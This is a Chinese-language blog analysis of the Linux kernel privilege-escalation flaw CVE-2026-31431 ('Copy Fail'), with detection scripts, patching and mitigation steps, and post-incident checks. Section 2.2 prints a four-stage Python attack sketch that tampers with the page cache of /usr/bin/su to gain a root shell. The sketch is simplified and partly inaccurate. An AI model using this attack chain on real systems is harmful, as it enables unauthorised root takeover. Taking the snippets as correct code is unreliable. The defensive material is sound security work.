2050 字
10 分钟
Linux 内核高危漏洞 CVE-2026-31431 (Copy Fail) 深度解析

1. 漏洞概述#

2026年4月22日,Linux 内核披露了一个潜伏 9年 的高危本地提权漏洞 CVE-2026-31431,代号 Copy Fail。攻击者仅需一个 732字节 的 Python 脚本,就能在几乎所有主流 Linux 发行版上将低权限用户提权至 root。

该漏洞被 CNCERT(国家互联网应急中心)收录编号为 CNVD-2026-19044,CNTA-2026-0002,CVSS 3.1 评分 7.8(高危)。更令人担忧的是,漏洞利用代码已公开,安天公司已监测到在野利用情况。

1.1 与历史漏洞对比#

漏洞年份CVSS需要竞态条件利用难度
Dirty COW (CVE-2016-5195)20167.8需要中等
Dirty Pipe (CVE-2022-0847)20227.8需要中等
Copy Fail (CVE-2026-31431)20267.8不需要极低

1.2 事件时间线#

日期事件
2017年内核 commit 72548b093ee3 引入 algif_aead 原地优化
2026年4月22日漏洞公开,PoC 和 Exp 同步公开
2026年4月29日Openwall 邮件列表披露详情
2026年4月30日CNCERT 发布安全公告 CNTA-2026-0002
2026年4月30日奇安信 CERT 发布安全风险通告

2. 技术深度分析#

2.1 漏洞根因#

Copy Fail 的利用链涉及三个关键内核组件的组合:

AF_ALG 加密接口 + splice() 系统调用 + algif_aead 原地优化
↓ ↓ ↓
用户态调用内核 将文件页缓存引用 允许在加密处理中
crypto 能力 带入加密处理链 复用内存页

2.2 攻击链#

整个攻击过程分为四个阶段:

阶段一:创建 AF_ALG 套接字并绑定 authencesn#

import socket
# 创建 AF_ALG 套接字,绑定带认证的加密算法
s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
s.bind(('authencesn', b'hmac(sha256),cbc(aes)'))

阶段二:通过 splice() 将 setuid 程序的页缓存引入加密路径#

import os
# 打开 setuid 程序(如 /usr/bin/su)
fd = os.open('/usr/bin/su', os.O_RDONLY)
# 构造 splice 管道,触发页缓存引用
pipe_r, pipe_w = os.pipe()
os.splice(fd, 0, pipe_w, 0, 4096)
os.close(fd)

阶段三:利用 algif_aead 原地优化写入受控 4 字节#

# 发送恶意数据,利用 in-place 优化覆写页缓存
# 将本应是"只读"的页缓存变成了"可写"
s.sendmsg([b'A' * 4096], [(pipe_r, 0, 4096)])

阶段四:执行被篡改的 setuid 程序获得 root#

# 执行 su,此时读取到的已是页缓存中的恶意代码
os.execve('/usr/bin/su', [], {})
# 直接获得 root shell

2.3 为什么”不需要竞态条件”#

此前同类漏洞Copy Fail
依赖内存操作时序窗口逻辑上直接的读写缺陷
需多次尝试提高成功率一次即可成功,成功率 100%
受系统负载影响完全确定性利用

2.4 漏洞的技术本质#

正常流程下,页缓存中的文件数据应该是 只读 的。但 algif_aead 的 in-place 优化绕过了这个约束:它允许将一个只读页缓存的引用放入 scatterlist,而 scatterlist 在加密操作后会被 写回。于是,攻击者就能向本属于 /usr/bin/su 等 setuid 程序的页缓存中写入任意 4 字节,实现代码篡改。

值得注意的是:漏洞仅修改内存页缓存,不直接写磁盘。重启或缓存回收后篡改内容自动恢复,但这不影响利用——因为进程执行时读取的就是页缓存。


3. 影响范围#

3.1 受影响的内核版本#

commit 72548b093ee3 ≤ version < commit a664bf3d603d

内核 4.14 ~ 6.18.22(不含)、6.19.12(不含)以下均受影响。

3.2 受影响的发行版#

发行版受影响版本
Ubuntu24.04 LTS 及以下
RHEL8 / 9 / 10 及以下
SUSE16 及以下
Amazon Linux2023 及以下
Debian / Arch / Fedora / Rocky / Alma / Oracle同期内核版本

3.3 安全版本#

内核版本线安全版本
6.18 LTS≥ 6.18.22
6.19 LTS≥ 6.19.12
7.0≥ 7.0

3.4 高危场景#

该漏洞虽然在利用前需要本地低权限代码执行能力,但在以下场景中风险被显著放大:

场景风险说明
共享服务器多租户主机、开发机、跳板机——任一用户可提权至 root
Kubernetes / 容器集群容器逃逸:容器内低权限用户可篡改宿主机页缓存
CI/CD 执行器GitHub Actions、GitLab Runner、Jenkins 等构建环境
代码沙箱Notebook、在线评测平台、AI Agent 执行机
云服务器多租户共享宿主机的 VPS 环境

4. 自查指南#

4.1 检查内核版本#

Terminal window
# 查看当前内核版本
uname -r
# 查看完整内核版本信息
cat /proc/version

4.2 检查 algif_aead 模块是否加载#

Terminal window
# 检查模块是否已加载
lsmod | grep algif_aead
# 检查模块是否可用(即使未加载)
modinfo algif_aead 2>/dev/null && echo "模块可用,存在风险"

4.3 检查 AF_ALG 套接字支持#

Terminal window
# 检查内核是否编译了 AF_ALG 支持
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

4.4 一键排查脚本#

#!/bin/bash
echo "=== CVE-2026-31431 Copy Fail 排查脚本 ==="
echo ""
KERNEL=$(uname -r)
echo "[*] 当前内核版本: $KERNEL"
if lsmod | grep -q algif_aead; then
echo "[!] 高危: algif_aead 模块已加载!"
else
echo "[*] algif_aead 模块未加载"
fi
if modinfo algif_aead &>/dev/null; then
echo "[!] 高危: algif_aead 模块可用(即使未加载也可被触发加载)"
else
echo "[*] algif_aead 模块不可用"
fi
echo "[*] 请手动对比内核版本是否在安全范围内"
echo " 安全版本: 6.18.22+ / 6.19.12+ / 7.0+"

5. 修复与处置指南#

5.1 永久修复:升级内核(推荐)#

Terminal window
# Ubuntu / Debian
sudo apt update && sudo apt full-upgrade -y
sudo reboot
# RHEL / CentOS / Fedora
sudo dnf update kernel -y
sudo reboot
# SUSE / openSUSE
sudo zypper update kernel -y
sudo reboot
# Arch Linux
sudo pacman -S linux linux-lts
sudo reboot
# 重启后确认
uname -r

5.2 临时缓解措施:禁用 algif_aead 模块#

Terminal window
# 1. 永久禁用模块
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
# 2. 立即卸载已加载的模块
sudo rmmod algif_aead 2>/dev/null
# 3. 确认模块已被禁用
sudo modprobe algif_aead 2>&1 # 应显示被 /bin/false 拦截

5.3 容器侧防护:阻断 AF_ALG 套接字#

Terminal window
# 通过 seccomp 策略阻断容器内 AF_ALG socket 创建
# 在 Docker 运行参数中添加
--security-opt seccomp=/path/to/custom-seccomp.json
# 自定义 seccomp 规则示例:
# { "names": ["socket"], "action": "ERRNO", "args": [
# { "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }
# ] }

5.4 事后排查:清理页缓存与检查后门#

Terminal window
# 1. 释放页缓存(重启后自动恢复,无需此步骤)
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
# 2. 检查异常进程
ps auxf | grep -E "su|sudo|bash|sh"
# 3. 检查临时目录后门
ls -la /tmp /var/tmp
# 4. 检查登录日志
last -n 50
# 5. 检查 setuid 程序哈希值
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

6. 安全启示#

6.1 为什么代码优化会成为安全漏洞#

Copy Fail 的根源是 2017 年引入的 in-place 优化。该优化本身出发点是好的——减少内存拷贝、提升加密性能。但它在设计时没有充分考虑页缓存的安全边界

设计假设实际情况
scatterlist 中的数据来自用户缓冲区splice() 可引入页缓存引用
加密操作的目标内存可安全写入页缓存不应被普通用户写入
in-place 优化节省一次复制节省了一次复制,但破坏了只读语义

6.2 发现过程:AI + 人类协作#

此漏洞的发现结合了人类洞察与 AI 工具:

  • 研究员 Taeyang Lee 首先识别出 AF_ALG 加密接口 + splice() 的攻击面
  • 随后利用 AI 辅助审计工具 Xint Code 扫描 crypto/子系统
  • 仅耗时约 1 小时 便定位到此最高严重性漏洞

这是安全领域 AI 辅助漏洞挖掘的成功案例。

6.3 防御深度#

┌─────────────────────────────────┐
│ 1. 及时升级内核版本(治本) │
├─────────────────────────────────┤
│ 2. 禁用不必要的内核模块 │
├─────────────────────────────────┤
│ 3. 容器 Security Context 限制 │
├─────────────────────────────────┤
│ 4. seccomp / AppArmor / SELinux │
├─────────────────────────────────┤
│ 5. 文件完整性监控(AIDE/Samhain) │
└─────────────────────────────────┘

7. 总结#

  1. CVE-2026-31431 是 Dirty COW / Dirty Pipe 之后最严重的 Linux 本地提权漏洞
  2. 漏洞利用 无需竞态条件,成功率 100%,仅需 732 字节 Python 脚本
  3. 影响 2017 年以来几乎所有主流 Linux 发行版
  4. 容器环境下可实现 容器逃逸,威胁云原生基础设施
  5. 立即升级内核至安全版本 是最彻底的修复方案
  6. 临时措施:install algif_aead /bin/false

参考资料#

Linux 内核高危漏洞 CVE-2026-31431 (Copy Fail) 深度解析
https://www.hehonglei.cn/posts/linux-kernel-cve-2026-31431/
作者
Honglei He
发布于
2026-04-30
许可协议
CC BY-NC-SA 4.0